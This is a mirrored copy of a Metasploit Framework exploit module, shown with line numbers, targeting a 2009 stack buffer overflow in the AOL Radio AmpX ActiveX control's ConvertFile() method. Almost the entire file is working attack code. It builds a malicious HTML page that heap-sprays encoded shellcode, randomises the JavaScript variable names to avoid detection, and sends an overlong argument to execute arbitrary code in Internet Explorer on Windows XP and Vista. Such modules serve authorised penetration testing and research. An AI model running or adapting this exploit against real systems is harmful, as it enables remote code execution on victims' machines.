Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
18
class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
19
By setting an overly long value to 'ConvertFile()', an attacker can overrun
20
a buffer and execute arbitrary code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'rgod <rgod[at]autistici.org>', # Original exploit [see References]
25
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
26
],
27
'References' => [
28
[ 'OSVDB', '54706' ],
29
[ 'BID', '35028' ],
30
[ 'EDB', '8733' ],
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'process',
34
},
35
'Payload' => {
36
'Space' => 1024,
37
'BadChars' => "\x00\x09\x0a\x0d'\\",
38
'StackAdjustment' => -3500,
39
},
40
'Platform' => 'win',
41
'Targets' => [
42
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
43
],
44
'DisclosureDate' => '2009-05-19',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
end
54
55
def autofilter
56
false
57
end
58
59
def check_dependencies
60
use_zlib
61
end
62
63
def on_request_uri(cli, request)
64
# Re-generate the payload
65
return if ((p = regenerate_payload(cli)) == nil)
66
67
# Encode the shellcode
68
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
69
70
# Setup exploit buffers
71
nops = Rex::Text.to_unescape([target.ret].pack('V'))
72
ret = Rex::Text.uri_encode([target.ret].pack('L'))
73
blocksize = 0x40000
74
fillto = 500
75
offset = target['Offset']
76
77
# Randomize the javascript variable names
78
ampx = rand_text_alpha(rand(100) + 1)
79
j_shellcode = rand_text_alpha(rand(100) + 1)
80
j_nops = rand_text_alpha(rand(100) + 1)
81
j_headersize = rand_text_alpha(rand(100) + 1)
82
j_slackspace = rand_text_alpha(rand(100) + 1)
83
j_fillblock = rand_text_alpha(rand(100) + 1)
84
j_block = rand_text_alpha(rand(100) + 1)
85
j_memory = rand_text_alpha(rand(100) + 1)
86
j_counter = rand_text_alpha(rand(30) + 2)
87
j_ret = rand_text_alpha(rand(100) + 1)
88
j_eax = rand_text_alpha(rand(100) + 1)
89
j_bof = rand_text_alpha(rand(100) + 1)
90
randnop = rand_text_alpha(rand(100) + 1)
91
92
# Build out the message
93
content = %Q|
94
<html>
95
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
96
<script language='javascript'>
97
#{j_shellcode}=unescape('#{shellcode}');
98
var #{randnop} = "#{nops}";
99
#{j_nops}=unescape(#{randnop});
100
#{j_headersize}=20;
101
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
102
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
103
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
104
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
105
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
106
#{j_memory}=new Array();
107
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
108
#{j_eax}='';
109
for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
110
#{j_ret}='';
111
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
112
#{j_bof}=#{j_eax}+#{j_ret};
113
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
114
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
115
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
116
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
117
</script>
118
</html>
119
|
120
121
print_status("Sending #{self.name}")
122
123
# Transmit the response to the client
124
send_response_html(cli, content)
125
126
# Handle the payload
127
handler(cli)
128
end
129
end
130
131